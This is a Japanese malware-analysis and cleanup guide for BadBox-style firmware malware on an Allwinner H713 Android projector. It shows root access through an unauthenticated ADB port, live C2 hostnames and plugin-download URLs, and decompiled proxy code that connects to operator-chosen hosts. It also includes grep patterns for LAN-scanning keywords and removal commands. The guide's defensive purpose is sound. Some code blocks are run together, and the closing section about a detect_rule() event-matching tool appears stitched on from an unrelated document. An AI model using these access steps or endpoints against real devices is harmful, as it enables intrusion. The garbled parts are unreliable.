
Allwinner H713 AndroidプロジェクターにおけるBadBoxマルウェアの解析およびクリーンアップガイド: ADBアクセス、感染の証拠、ファームウェアのバックアップ、ドロッパーの削除、および検証。
2026年9月26日 · @R
安価な Android プロジェクター (Wielo / Atongmu AT-M269、Allwinner H713) には、システムレベルのドロッパーが同梱されており、家庭内プロキシノードに変えられてしまう。本書では、ケースを開けずに侵入し、感染を証明し、ファームウェアをバックアップし、マルウェアを削除して結果を検証する方法を示す。
ブランド名を変えながら販売されているノーブランドの LCD プロジェクター。基板とファームウェアは多くの H713 プロジェクター (HY300 クローンなど) で共通であるため、ここに記載する内容はより広く適用できる。
| 項目 | 値 |
|---|---|
| 販売名 | Wielo Smart Projector、モデル AT-M269 (FCC ID 2BAAR-AT-M269D) |
| 製造元 | Shenzhen Atongmu Technology、ファームウェアとアプリは OEM「ASHD」製 |
| ハードウェアリビジョン | persist.sys.cm.hardversion = AT-M269_720P_HP_202410221430 |
| SoC | Allwinner H713M (ro.boot.hardware = sun50iw12p1)、クアッド Cortex-A53、ボード exdroid、プラットフォーム ares |
| RAM / ストレージ | 1 GB DDR @ 576 MHz / 8 GB eMMC (7,818,182,656 バイト) |
| Wi-Fi / Bluetooth | AIC8800 (aic8800d80、ドライバー rwnx 6.4.3.0) |
| カーネル | Linux 5.4.99、32 ビット (armv7l)、2025年12月8日ビルド |
| 実際のビルド | h713m_tuna_p3-user 11 RP1A.201005.006 eng.work3.20251208.154308 release-keys、ファームウェア H713M-android11-v1.0、ビルドホスト ishang-PC |
| OS | Android 11 (SDK 30)、user ビルド、セキュリティパッチ 2022-02-05 |
| 偽装 | 自身を Google ADT-3 (ブランド/モデル/デバイス、製造元 askey) として報告、実際のモデルは ro.product.model2 = AT-M269 |
| パーティション / 起動 | 仮想 A/B、アクティブスロット _b、super 内の動的パーティション (レトロフィット)、AVB 2.0、vbmeta.device_state = locked、verifiedbootstate は空、OEM アンロック不可、/system は 100% 満杯 |
| セキュリティ | ro.debuggable=1、ro.adb.secure=0、service.adb.root=1、ADB は tcp/5868、SELinux は permissive、privapp 権限は permissive、AOSP テストキー |
| 地域デフォルト | タイムゾーン Asia/Shanghai、DTV エリア cn / DTMB |
adb shell getprop ro.product.model # ADT-3 <- spoofed, to pass Google certification adb shell getprop ro.product.model2 # AT-M269 <- real model adb shell getprop ro.board.platform # ares, H713 platform name adb shell getprop ro.build.type # user <- release build
## 2. 侵入
ADB がネットワーク上で、非標準ポートで、認証プロンプトなし、かつ root 権限で待ち受けている。```
# 1. Find open ports (projector on an isolated network)
nmap -p- 10.56.215.10
# 5868/tcp open <- nmap guesses "diameters"; it is actually adbd
# 2. Confirm from the device side (e.g. via Termux on the projector)
getprop service.adb.tcp.port # 5868
getprop ro.adb.secure # 0 -> no "allow debugging?" prompt
getprop init.svc.adbd # running
# 3. Connect from a computer
adb connect 10.56.215.10:5868
adb root
adb shell id # uid=0(root)
adb shell 'echo adb_keepalive > /sys/power/wake_lock' # keep CPU/Wi-Fi awake (needs root adbd) adb shell cat /sys/power/wake_lock # adb_keepalive must be listed adb shell input keyevent KEYCODE_SLEEP # display + lamp off, ADB stays connected
adb shell input keyevent KEYCODE_WAKEUP # lamp on adb shell 'echo adb_keepalive > /sys/power/wake_unlock' # release the wakelock
`/sys/class/backlight/tv` > `brightness`/`bl_power` は効果がありません。
## 3. 感染チェーン
2つのプリインストールされたシステムアプリが system ユーザー(UID 1000)として実行されます。一方がローダーをダウンロードし、ローダーが4つのプロキシモジュールと2つ目の独立したローダーをダウンロードします。```
Firmware (preinstalled, UID 1000)
├─ com.android.sysapp /system/priv-app/AshdSysApp
│ OTA updater, can replace the whole firmware (update.zip / payload.bin)
│ C2: wjtysj.ishanghd.com/hx_kt.php
│
└─ com.android.umanalytics.yiyou /system/app/AndroidAnalytics_yiyou
Dropper; Umeng + Baidu tracking
└─ downloads cache/plugin.jar (DEX, from *.ishanghd.com)
├─ app installer: pulls app lists per device profile, pm install -r
│ └─ installs Disney+ etc. and com.google.adtest (payload)
└─ "hs" task loader, C2 api.loritor.cc / api.nizero.cc, every 6 h
└─ 4 encrypted modules code_cache/.hs/.file/.rf/*.rf
SKN0041 com.ad.proxy SKN0054 com.szns.sdk
SKN0058 com.link.core SKN0061 ddth2 (VpsSdk)
-> all four: residential proxy clients
com.google.adtest (/data/app, installed by yiyou)
Second loader "com.speed", own C2 (api.logobi.cc, api.pechlo.cc, ...)
Native plugin loader, may install/delete packages -> backup channel
> 見知らぬ他人のインターネットトラフィックがあなたの接続を経由してルーティングされ、あなたのデバイスが追跡される(シリアル、MAC、Wi-Fi SSID/BSSID)。
adb shell "netstat -tnp | grep ESTABLISHED"
### **b) 誰が何をインストールしたか**```bash
adb shell pm list packages -i | grep -v 'installer=null\|com.android.vending'
# package:com.google.adtest installer=com.android.umanalytics.yiyou <- payload
# package:com.disney.disneyplus installer=com.android.umanalytics.yiyou <- cover
# -> a system "analytics" app installing packages = dropper
adb shell dumpsys package com.google.adtest | grep -E 'codePath|firstInstallTime'
# fake Google name, lives in /data/app, installed silently
adb shell 'ls -laR /data/data/com.android.umanalytics.yiyou' | grep -E 'plugin.jar|.rf|files/apps'
### **d) システムレベルのセットアップ**```bash
adb shell getprop ro.product.model
# ADT-3 (spoofed)
adb shell dumpsys package com.android.sysapp | grep sharedUser
# android.uid.system -> runs with system privileges
adb shell dumpsys package com.android.sysapp | grep -E 'INSTALL_PACKAGES|RECOVERY|MASTER_CLEAR'
# unnamed OEM app that may install apps, flash firmware and wipe the device
adb shell cat /system/etc/init/qw.rc
# service qw /system/bin/qw --daemon user root
マルウェアはファームウェアに直接組み込まれている。ビルド日は eng.work3.20251208.154308、カーネルは Mon Dec 8 15:27:38 CST 2025 にコンパイルされた。yiyou の記録によると、同じ日に実行されていた:```
session_recent_visit: [{"day":20251208,"count":1}, {"day":20260910,...}, ...]
1765179258896 -> 2025-12-08 07:34 UTC = 15:34 CST, ~7 min after the kernel build
### **f) ベンダー署名済みの読み取り専用システムイメージ内のマルウェア**
ユーザーや後からインストールされたアプリは `/system` にファイルを配置できません。これは `super` の一部であり、dm-verity で保護され、`vbmeta` を通じて署名されています。
## 5. マルウェアアーキテクチャの概要
### 5.1. 主要コンポーネント
| コンポーネント | 場所 | 動作 |
| --------------------------------- | ---------------------------- | --------------------------------------------------------------------------------------------------------------- |
| `com.android.umanalytics.yiyou` | `/system/app`、UID 1000 | `plugin.jar` をダウンロードして実行。シリアル、MAC、android_id、Wi-Fi SSID/BSSID、Bluetooth MAC を Umeng/Baidu に送信 |
| `plugin.jar` (DEX) | yiyou `cache/` | 2つの部分: アプリインストーラー(デバイスごとのアプリリスト、H713/RK3326/HY300 用の40以上のプロファイル)と「hs」タスクローダー |
| 「hs」タスクローダー | `plugin.jar` 内 | 6時間ごとに C2 をポーリングして `jar`、`dex`、`apk` タイプのタスクを取得。ダウンロード、MD5 チェック、実行 |
| SKN0041 `com.ad.proxy` | `.rf` モジュール | TCP/UDP/ICMP トンネリング、ハートビート、サインイン/レポート |
| SKN0054 `com.szns.sdk` | `.rf` モジュール | プロキシノードとあなたのネットワークからの UDP スキャン |
| SKN0058 `com.link.core` | `.rf` モジュール | 独自の DNS リゾルバを持つプロキシクライアント |
| SKN0061 `ddth2` / VpsSdk | `.rf` モジュール | プロキシゲートウェイ、多数の並列クライアントインスタンス |
| `com.google.adtest` (「com.speed」) | `/data/app` | ネイティブプラグインローダーを備えた2番目のローダー。パッケージのインストール/削除。起動、ネットワーク、HDMI、電源イベントで再起動 |
| `com.android.sysapp` | `/system/priv-app`、UID 1000 | OTA アップデーター: 完全なファームウェアイメージをダウンロードしてフラッシュ可能 |
| Widevine ファイル | `/data/mediadrm/IDM1013/L3/` | `plugin.jar` が DRM キー/ライセンスバンドルをドロップし、未認証デバイスでストリーミングアプリが動作するようにする |
### 5.2. 各部分がどのように隠されているか```
# C2 hostnames are not in plain text: gzip + Base64 + AES-CFB with a hardcoded key.
# decrypted: api.loritor.cc (master), api.nizero.cc (slave)
# DNS is resolved via DNS-over-HTTPS (dns.google, cloudflare-dns.com, doh.pub, 223.5.5.5)
# -> router DNS blocking alone misses it
# .rf module layout (per file):
# [version][...][salt:32 bytes][invocation: AES][module: AES][DSA signature]
# invocation = {"cn":"com.hotota.p.d.MainApi","m_init":"start_W00xx","m_uninit":"stop"}
# module = an APK whose classes.dex is loaded with DexClassLoader
# Modules are signed, so only the operator can push new ones.
shared_prefs/info.xml wifiinfo: ssid, bssid, device MAC, IP; blueinfo: BT MAC; accelerometer samples shared_prefs/umeng_*.xml appkey 61c17582e014255fcbc1a9af, channel ashd-analytics umeng_general_config.xml first_activate_time = 2 Mar 2026, successful_request = 218 hs.prefs_1.xml periods=21600 (6 h), last.trackerid = SKN0061
### 5.4. ラテラルムーブメント
**自動的なラテラルムーブメントはないが、LANへの扉はある**
> しかし **SKN0041** と **SKN0058** はゲートウェイが指定する任意のターゲットへリレーし、SKN0041 はコマンドでそれを ping することもできる。プロキシをレンタルした者は誰でも、手動で LAN に到達したり探索したりできる。
- `plugin.jar`
- 復号された `.rf` モジュール SKN0041/54/58/61
- `com.google.adtest`、yiyou、sysapp
- `com.android.nfx` (NFXAccessibility)
- ネイティブ: `qw`、`systemmixservice`、`libsystemmix_jni.so`、`libsystemmixservice.so````bash
grep -rlE 'ServerSocket|DatagramSocket|MulticastSocket|NetworkInterface|getDhcpInfo|/proc/net/arp|239\.255\.255\.250|224\.0\.0\.251|:5555|telnet|isReachable|NsdManager|JmDNS|UPnP|Cling|SSDP|WifiP2pManager|getBroadcast|broadcastAddress|SubnetMask|prefixLength|getLinkAddresses|InterfaceAddress' analysis/decompiled/*/sources
grep -rlE 'Runtime\.getRuntime\(\)\.exec|ProcessBuilder' analysis/decompiled/*/sources
|| str.matches("^192\\.168\\..*") || str.matches("^127\\..*")
// no 169.254.0.0/16 clause and no IPv6 form here, a link-local or IPv6 LAN target slips through
// SKN0061 ddth2/hidden/F.java - InetAddress's own range checks, covers link-local and IPv6 too !a.isAnyLocalAddress() && !a.isLoopbackAddress() && !a.isLinkLocalAddress() && !a.isSiteLocalAddress() && !a.isMulticastAddress()
// SKN0041 com/ad/proxy/b/Q.java - "url init" command: fetches any URL, no check InetAddress byName = InetAddress.getByName(host); createSocket.connect(new InetSocketAddress(byName, port), 10000);
// SKN0058 com/link/core/a/e.java - connects to the server-supplied address, no check this.c.connect(new InetSocketAddress(inetAddress, this.d));
SKN0041 の全コマンドセット(`com/ad/proxy/b/a0.java` のディスパッチテーブルより):
| Opcode | ハンドラ | 動作 |
| ------ | ---------- | ---------------------------------------------------------------------------------- |
| 1 / 2 | U / V | ハートビート要求 / 応答 |
| 3 | W | オペレータ指定の host:port への生 TCP 接続を開く。アドレスチェックなし |
| 5 / 7 | X / Y | 開いているトランザクションに対する tcp send / close |
| 8 | Z | オペレータ指定の host:port への生 UDP セッションを開く。アドレスチェックなし |
| 11 | K | udp close |
| 12 | L → P.java | オペレータ指定のホストで `ping -c 10 <host>` を実行し、全出力を中継する |
| 14 | M → Q.java | オペレータ指定の URL を取得する。チェックなし |
これらのオペコードはいずれも IP 範囲によるフィルタリングを行わない。
`plugin.jar` の映像再ストリームサーバ(`com.cloudmedia.tv.server.d`、Aiqiyi/Youku/CIBN のストリーム書き換えを提供する NanoHTTPD フォーク)は、ホストを設定せずにバインドする。つまり、起動すれば localhost だけでなく全インターフェースで LAN から到達可能となる。その唯一のエントリポイントは `ParserUtils.AnalyticsHelper()` であり、`getprop ro.board.platform == "rk3188"` の背後にある。本機は `ares`(H713)を報告するため、ゲートは閉じたままである。
実機の状態:`netstat -tnp` にはループバックのスクリーンキャスト(`com.android.toofifi`、`127.0.0.1:5354`)、IPv6 経由の Google への GMS、および ADB セッションのみが表示される。`yiyou`、`sysapp`、`speed`、`umanalytics`、`adtest` のいずれのプロセスも実行されていない。
`systemmixservice` の Binder インターフェース(root としての任意のファイル読み書き/削除およびプロパティ設定が可能で、デバイス上の任意のアプリから到達可能)はローカルの権限昇格である。ドロッパーを削除し、信頼できない APK をインストールしなければ、この経路は閉じられる。
## 6. インジケータ
ネットワークインジケータ(ドメイン、URL、IP)は[セクション 11](#11-consolidated-hosturl-list-for-abuse-reports)にある。
### 6.1. パッケージ
| パッケージ | 場所 | 役割 |
| --------------------------------------------------------------- | ------------------------------------------------------- | ---------------------------------------------------------------- |
| `com.android.umanalytics.yiyou` | `/system/app/AndroidAnalytics_yiyou`、UID 1000(system) | ドロッパー |
| `com.android.sysapp`(AshdSysApp) | `/system/priv-app/AshdSysApp`、UID 1000(system) | OTA チャネルバックドア |
| `com.google.adtest`(実名 `com.fotas.wanapp`、"com.speed") | `/data/app` | セカンドローダー |
| `com.cloudmedia.testapk` | `/system/app` | OEM 工場テストアプリ。セクション 8 でドロッパーとともに削除 |
| `com.disney.disneyplus` | `/data/app` | ドロッパーがインストールしたカバーアプリ |
| `com.android.nfx` | `/system/priv-app/NFXAccessibility` | 保持、無害(Netflix リモコンヘルパー) |
### 6.2.バイナリ
| バイナリ | Init サービス | 動作 |
| ---------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `/system/bin/qw` | **`qw`**: `class core`、`user root`、起動時から常駐 | Superuser/ClockworkMod su デーモン(`/dev/com.koushikdutta.superuser` + `.daemon` ソケットを開く)。 |
| `/system/bin/appsdisable` | **`appsdisable`**: `on property:sys.boot_completed=1` でトリガー、`disabled`+`oneshot` | 起動時の 4 秒スリープ後(`settings ... global start_disable`)、コンポーネントが `com.google.android` で始まる `BOOT_COMPLETED` レシーバを持つインストール済みパッケージをすべて検出し、`pm disable` して Play Protect スキャンや GMS コアサービスなど Google 自身の起動時チェックを停止させる。 |
| `/system/bin/gmsopt` | **`gmsopt`**: appsdisable と同じトリガーとフラグ | appsdisable と同じ Google 起動レシーバ無効化動作だが、`com.google.android.permissioncontroller` を除外する。冗長。 |
| `/system/bin/systemmixservice`(+ `libsystemmix_jni.so`、`libsystemmixservice.so`) | **`systemmix`**: `class main`、`user root`、`oneshot` | OEM ネイティブ?目的は完全には特定されていないが root グループである。 |
### 6.3. ファイルとディレクトリ
| パス | 内容 |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------- |
| `/data/data/com.android.umanalytics.yiyou/cache/plugin.jar` | ダウンロードされた "hs" ローダー / アプリインストーラ DEX |
| `/data/data/com.android.umanalytics.yiyou/code_cache/.hs/.file/.rf/*.rf` | 暗号化されたプロキシモジュール(SKN0041/54/58/61) |
| `/data/data/com.android.umanalytics.yiyou/files/apps/com.google.adtest.apk` | サイレント再インストール用に保存されたペイロードのコピー |
| `/data/data/com.android.umanalytics.yiyou/files/libcuid.so` | デバイス ID ヘルパーネイティブライブラリ |
| `/data/data/com.android.umanalytics.yiyou/databases/ua.db` | Umeng セッション DB |
| `/data/data/com.android.umanalytics.yiyou/shared_prefs/{info.xml, umeng_*.xml, hs.prefs_1.xml, hs.cuid.v1.xml, vps_sdk_prefs.xml, Plugin.xml, baidu_mtj_sdk_record.xml, ...}` | トラッキング/設定 prefs |
| `/data/data/com.android.sysapp/shared_prefs/SHARE.xml` | OTA ダウンロード状態 prefs |
| `/data/mediadrm/IDM1013/L3/` | ドロップされた Widevine L3 DRM バンドル |
| `/data/local/tmp/*`、`/data/ota_package/tmp/*` | ローダーと OTA クライアントが使用するスクラッチ/残存領域 |
### 6.4. サンプルハッシュ
| サンプル | SHA-256 |
| ------------------------------- | ------------------------------------------------------------------ |
| `plugin.jar` | `e2e5f86df18e0cdef9595bd886280f158001250f1565fa3e6dfe492b114be6f7` |
| SKN0041(復号済み) | `d7b26e53ade1cfcd283bfbbc5de7f792e8f8d441d74162eeef7e8a7c83ed5dba` |
| SKN0054(復号済み) | `ba3b320791b80dae25d07e17e43d4b11b5c5a0d8b989fdb4a7f47ccb39201307` |
| SKN0058(復号済み) | `60ade80fcd0a1c5bb3f62e76cd056b0e8034fdbe1e9834c335c0e60d99d12742` |
| SKN0061(復号済み) | `fcffed775c6d6967bd40e4fa5b529f9fd301b3ebd64a555c756943d1e863fea7` |
| `com.google.adtest.apk` | `1298662eb6d087aa1e6f967d50581e998b5897ec1563bdf96589540845874110` |
| `AndroidAnalytics_yiyou.apk` | `c4910d6fa666eff03bdc683423f7f2585cb263f8dcbf5f1fe7a1e2643eb384aa` |
| `AshdSysApp.apk` | `f9cd44d359c9b0c92ddb8b868665a3e8edd54a19cc21a35fb2fba7dbdf36bb5a` |
| `L3.zip`(Widevine バンドル) | `8367725743c27ed1fd49d5eb086e7b260cfcf38a825a8892ce31b45e767e228f` |
| `favorite.ico`(SKN0054 設定) | `8d64d2982f8f5cb01ad1bbce53861e09eae2884fe8c545ac9023b636c8f5ffa2` |
## 7. バックアップ
このモデルのファームウェアは公開されていないようで、リバースエンジニアリングしたベンダー OTA サーバも何も返さない。```
# Simple one-shot dump (fine over USB; over Wi-Fi it can stall)
adb exec-out "dd if=/dev/block/mmcblk0 bs=4M 2>/dev/null" > mmcblk0.img
adb shell 'ls /dev/block/mmcblk0boot*' # eMMC boot areas, dump them too if present
Wi-Fi 経由の場合、ヘルパースクリプトを使用する
dump-pull.sh [ip:port|usb] [file] は 256 MB 単位で取得し、サイズチェックとリトライを行う。再実行すると最後に完了したチャンクから継続する。読み取り前に /data を background_gc=off,nodiscard で再マウントし、sync して 10 秒待機する。USB 経由の場合は adb shell stop も実行する。いずれも終了時に元に戻される(background_gc=on,discard で再マウント、start)。UDISK は /data であり稼働し続けるため、そのハッシュは実行ごとに異なる可能性がある。dump-verify.sh [ip:port|usb] [file] [-y] はサイズ、GPT ヘッダー、ブート領域、およびすべてのパーティションをチェックする(デバイスの SHA-256 とイメージ内の同じバイト範囲を比較)。不一致のセクションを読み取ってパッチを当てる。クリーンパスの場合、mmcblk0.img.sha256 を書き出す。```p=$(adb shell readlink /dev/block/by-name/super | xargs basename) # e.g. mmcblk0p9 s=$(adb shell cat /sys/block/mmcblk0/$p/start) # start sector (512 B) z=$(adb shell cat /sys/block/mmcblk0/$p/size) # size in sectors adb shell sha256sum /dev/block/by-name/super # hash on the device tail -c +$((s512+1)) mmcblk0.img | head -c $((z512)) | shasum -a 256 # same range in the image
### 復元パス
Allwinner FELに入り、USB-A to USB-Aケーブル経由でPhoenixUSBProを使ってフラッシュします。
FELで起動するための外部ピンホールはありません: `adb reboot efex` または `fastboot oem efex`。
考えられるハードウェアフォールバック: ボード上のFELパッド。FCC内部写真で確認できます(ケースを開ける必要があります)。フラッシュにはIMAGEWTY `update.img` が必要で、これはあなたのダンプから `awimg.py`([well0nez/magcubic-root](https://github.com/well0nez/magcubic-root))とH713テンプレートを使ってビルドします。
FELは書き込み専用です。PhoenixSuitとPhoenixUSBProはeMMCを読み戻すことができず、`sunxi-fel` にはH713用のSRAMレイアウトがなく、読み取り専用コマンドのみが動作します([sunxi-tools #226](https://github.com/linux-sunxi/sunxi-tools/issues/226))。
上記のADBダンプが引き続きバックアップ方法です。
### **ブートモード**
このユニットはA/B(`ro.build.ab_update=true`)で、スロット `_b` がアクティブです。`recovery` パーティションは存在しません: リカバリはブートramdisk内にあります。U-Bootシリアルコンソールは `ttyS0`、115200ボーです。
| モード | 入り方 | レベル | ステータス |
| --------------- | ------------------------------------------------------------------------------------------------------------ | --------------------- | ------------------------------------------------------------------------------------------- |
| Android | 通常の電源投入、`adb reboot` | kernel | 動作 |
| Recovery | `adb reboot recovery` | boot ramdisk | 動作、メニューは下記 |
| fastbootd | recoveryメニュー: Enter fastboot | userspace in recovery | 入れる |
| U-Boot fastboot | recoveryメニュー: Reboot to bootloader、または `adb reboot bootloader` | U-Boot | 動作(macOSは下記の修正が必要) |
| U-Boot efex | U-Boot fastbootから `fastboot oem efex`、または `adb reboot efex`(U-Bootには `ir-efex` リモートトリガーもあります) | U-Boot | `fastboot oem efex` 経由および `adb reboot efex` 経由で動作: `1f3a:efe8`、FELハンドシェイクが応答 |
| BootROM FEL | FELテストパッド | SoC BootROM | 未テスト |
### **リカバリメニュー:**
- Reboot system now
- Reboot to bootloader
- Enter fastboot
- Apply update from ADB
- Apply update from SD card
- Wipe data/factory reset
- Mount /system
- View recovery logs
- Run graphics test
- Run locale test
- Enter rescue
- Power off
### **ADB over USB**
USB0(`ohci0`)を受け持つソケットはデフォルトでホストとして動作します。次の再起動までデバイスモードに切り替わります:```
adb shell cat /sys/devices/platform/soc@2900000/soc@2900000:usbc0@0/usb_device
adb -d shell id
U-Boot fastboot が検出されない
ガジェットは 1f3a:1010(「USB Developer」)として認識され、そのインターフェースは標準の fastboot ff/42/03 です。ただし、そのデバイスクラスは ff であり、OS(ここでは macOS)がコンフィギュレーションを設定しないようで、fastboot devices は空のままです。
これが発生した場合の修正方法は、pyusb で一度コンフィギュレーションを設定し、その後は通常どおり fastboot を使用することです:```
brew install libusb python3 -m venv ~/venvs/fastboot source ~/venvs/fastboot/bin/activate pip install pyusb
source ~/venvs/fastboot/bin/activate python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0x1010).set_configuration()' fastboot devices
### **FEL/efex**
U-Boot fastboot から、`fastboot oem efex` で efex ガジェット `1f3a:efe8` に切り替わります。(同じ `set_configuration()` の修正が必要かもしれません)
**Sunxi-tools をソースからビルド**```
# one-time: build sunxi-fel
brew install libusb dtc pkg-config
git clone https://github.com/linux-sunxi/sunxi-tools
cd sunxi-tools && make sunxi-fel
sudo cp sunxi-fel /usr/local/bin/ # optional, else call ./sunxi-fel
# enter efex and check the handshake (read-only)
fastboot oem efex
source ~/venvs/fastboot/bin/activate
python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0xefe8).set_configuration()'
sunxi-fel --list --verbose
sunxi-fel version
AWUSBFEX soc=00001860(unknown) 00000001 ver=0001 44 08 scratchpad=00121500 00000000 00000000。
version と --list のみを使用し、spl、uboot、write、exe は決して使用しないでください。sunxi ツールはこのチップセットを認識しないためです。
FEL を終了するには、まず USB を抜き、プロジェクターの青色 LED が消えるまで電源を切ります。wdreset は SoC データがないと動作しません。
mkdir -p evidence && cd evidence adb shell getprop > getprop.txt adb shell pm list packages -f -i -U > packages.txt adb shell "netstat -tnp" > netstat.txt adb shell 'ls /system/etc/init /vendor/etc/init' > init-files.txt
adb pull /system/app/AndroidAnalytics_yiyou adb pull /system/priv-app/AshdSysApp adb pull "$(adb shell pm path com.google.adtest | cut -d: -f2)" adtest.apk
adb exec-out 'tar -cf - /data/data/com.android.umanalytics.yiyou /data/data/com.android.sysapp' > appdata.tar tar -tvf appdata.tar | grep -E '.jar|.rf|.apk|.xml' # check nothing is missing find . -type f -exec shasum -a 256 {} + > ../SHA256SUMS
### 8.2. 削除```
# System apps (UID 1000): cannot be deleted from /system without a firmware rebuild.
# Stop, disable, wipe data for user 0 -> inert for the running system, survives reboots.
for p in com.android.umanalytics.yiyou com.android.sysapp com.cloudmedia.testapk; do
adb shell am force-stop $p
adb shell pm disable-user --user 0 $p
adb shell pm clear $p
done
adb shell pm uninstall com.google.adtest
# I removed this too for safety
adb shell pm uninstall com.disney.disneyplus
# Leftovers
adb shell 'rm -rf /data/local/tmp/* /data/ota_package/tmp/*'
adb reboot
保持、おそらく無害:
qw (su デーモン、/system を編集することでのみ削除可能、ローカルからのみ到達可能)appsdisable、gmsopt、systemmixservicecom.android.nfx (Netflix リモートコントロールヘルパー)改ざん防止チェック
yiyou をアンインストールすると Settings が壊れる。com.ashd.settings の checkSHA1() には 2 つのチェックがある:
CD:B1:B7:56:85:FE:16:C2:7E:4C:45:59:54:43:AC:B0:1F:68:40:91、60:35:FD:9E:68:E9:20:C2:B5:B0:7C:F2:B5:10:F2:83:47:06:DE:15、6E:40:BA:7F:F7:90:7D:40:C2:F1:6D:12:E4:63:E5:E4:A3:F1:5A:01、27:19:6E:38:6B:87:5E:76:AD:F7:00:E7:EA:84:E4:C6:EE:E3:3D:FA、F6:08:8C:ED:B9:9A:EC:82:A7:7D:F3:F9:01:97:06:BE:C0:65:E4:9A)com.android.umanalytics.yiyou (または com.android.umanalytics.kege、おそらく他のファームウェアビルドにおけるドロッパーの名前) がユーザー 0 に対して登録されているかどうかをチェックする。どちらの失敗パスも 签名校验失败,关闭应用 (「署名検証に失敗しました、アプリを終了します」) をログに記録する。yiyou を (上記のように単に無効化するのではなく) 完全にアンインストールすると、これが引き起こされる。adb shell pm install-existing com.android.umanalytics.yiyou は、再有効化せずに登録を復元する。
adb connect 10.56.215.10:5868
adb shell pm list packages | grep -iE 'yiyou|sysapp|adtest|speed|testapk' # expect: nothing adb shell ps -A | grep -iE 'yiyou|sysapp|speed|umanalytics' # expect: nothing adb shell 'ls /data/data/com.android.umanalytics.yiyou 2>&1' # expect: No such file adb shell "netstat -tnp | grep ESTABLISHED"
adb shell pm list packages -3 -i # new apps? check their installer
**クリーンアップと再起動後の本ユニットでの結果:**```
adb shell "netstat -tnp"
# tcp 127.0.0.1:52992 127.0.0.1:5354 ESTABLISHED 3351/com.android.toofifi <- local screen-cast service
# tcp 127.0.0.1:52994 127.0.0.1:5354 ESTABLISHED 3351/com.android.toofifi
# tcp6 10.56.215.10:5868 <your computer> ESTABLISHED 5332/adbd <- your ADB session
# -> no outbound connections left (before: ~25 from yiyou)
netstat チェックを 24 時間後に再度実行し(ローダーは 6 時間ごとにチェックインします)、DNS およびファイアウォールログでプロジェクターの IP からのブロックリストヒットを探します。
/system を読み書き可能で再マウントすることは推奨されません:vbmeta がロックされており、/system は 100% 満杯であるため、adb disable-verity + adb remount は /data にオーバーレイを作成し(工場出荷時リセットで失われ、pm uninstall --user 0 と同様)、起動失敗のリスクがあります。super から APK を削除し、FEL 経由でフラッシュすることを意味します。未検証です。```
adb shell getprop ro.boot.vbmeta.device_state # locked
adb shell getprop ro.boot.verifiedbootstate # (empty)
adb shell df -h /system # 1.1G 1.1G 3.4M 100%### 8.5. ブロートウェア```
adb shell pm disable-user --user 0 com.android.toofifi
adb shell pm disable-user --user 0 com.toofifi.lineserver
adb shell pm disable-user --user 0 com.toofifi.miracast
adb shell pm disable-user --user 0 com.mphotool.usbcastserver
adb shell pm disable-user --user 0 com.rockchip.devicetest
pm enable --user 0 <package> で元に戻す
com.android.toofifi: 中核となるスクリーンキャストサービス。携帯電話やノートPCからの画面ミラーリング(Miracast/AirPlay 形式のキャスト)が使えなくなる。com.toofifi.lineserver: 同じスタック用の有線/USB ディスプレイサーバー。ライセンス確認のため server.mphotool.com:8680 に通信する。有線ディスプレイモードが使えなくなる。com.toofifi.miracast: ワイヤレス Miracast レシーバー。server.mphotool.com:8680/MPAPI/System/CheckUpdate を呼び出し、使用ログを mphotool.com/FeituAppLogMgr にアップロードする。ワイヤレスキャストが使えなくなる。com.mphotool.usbcastserver: USB キャストサーバー。同じベンダー製。デバイスからの USB キャスト機能が使えなくなる。com.rockchip.devicetest: Allwinner ユニットに存在する理由がない。静的解析。生の逆コンパイル済みソース、復号された .rf モジュール、および使用されたスクリプトは analysis/(decompiled/、decrypted_modules/、tools/)に保管されている。
com.android.sysapp
逆コンパイルされたクラス a.a.b.m/a.a.b.n は、正確で文字通りの OTA リクエストを提供する:```
POST http://wjtysj.ishanghd.com/hx_kt.php?act=project&do=getPackageInfo
&productid=<ro.android.productid, default "74865231">
&device_mode=<persist.sys.cm.dtsmodel, e.g. "AT-M269">
&devices_version=<ro.build.version.incremental>
&update_type=1|2 # 1 auto check, 2 forced ("check for update" button)
Apache `HttpPost` 経由で空のフォームボディ。すべてはクエリ文字列内にあるため、GET と POST は等価であり、署名/トークンもない。ライブでリプレイ(2026‑09‑26):`{"code":200,"data":[]}`、この productid にはどのバージョンを試してもパッケージが存在しないようだ。
### 9.2 ドロッパー
`com.android.umanalytics.yiyou`
**自己更新**(`http.utils.UpdateUtils.checkUpdate`)
`GET http://ty.ishanghd.com/work/app/wj/factory/update.json` が `MD5` と `VersionCode` を含む `DownLoadURL` を配信し、それがダウンロードされ、MD5 チェックされ、`PkgUtils.install(path, 1)` でサイレントに自己置換される。
**`plugin.jar` 取得**(`MyService`)
`GET http://isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.json` が `plugin.jar` を配信し、それが `<cache>/plugin.jar` にダウンロードされ、`DexClassLoader` でロードされる。`com.anlytics.plug.ParserUtils.AnalyticsHelper("test")` がエントリポイントである。
**デバイスごとのアプリリストプロファイル**
これらはキャンペーン内の各デバイス用のカスタムアプリである(おそらく DRM を回避するためにパッチが当てられている?)
`com.anlytics.plug.b` はボード(`ro.board.platform`、`persist.sys.cm.dtsmodel`、`ro.sys.cputype`、`ro.build.version.release`、インストール済みパッケージ、`/system/etc/voice.tar.gz` などのファイル)を 40 個のハードコードされたプロファイルと照合し、`com.tools.a` 内の定数から適合する `appsinfo/.../infos*.json` URL を選択する。
このユニットは `com.ashd.launcher10` を搭載し、`persist.sys.cm.dtsmodel=AT-M269` / ボード `ares` を報告し、テーブル内で唯一の H713 "launcher10" プロファイルは:```
http://ty.ishanghd.com/work/app/wj/appsinfo/H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json
detect() は、--detect が指定されたときに main() から呼び出されます。これは次の処理を行います。
detect_rule() に通して、一致するルールを探します。detect_rule() は、イベントの eventName を各ルールの event_names リストと照合します。一致が見つかると、ルールの level と description がイベントに付加されます。
def detect_rule(event, rules):
for rule in rules:
if event.get("eventName") in rule.get("event_names", []):
return rule
return None
| レベル | 意味 |
|---|---|
critical | 即時の対応が必要 |
high | 早急な調査が必要 |
medium | 調査すべき |
low | 情報提供 |
--format フラグは出力形式を制御します。
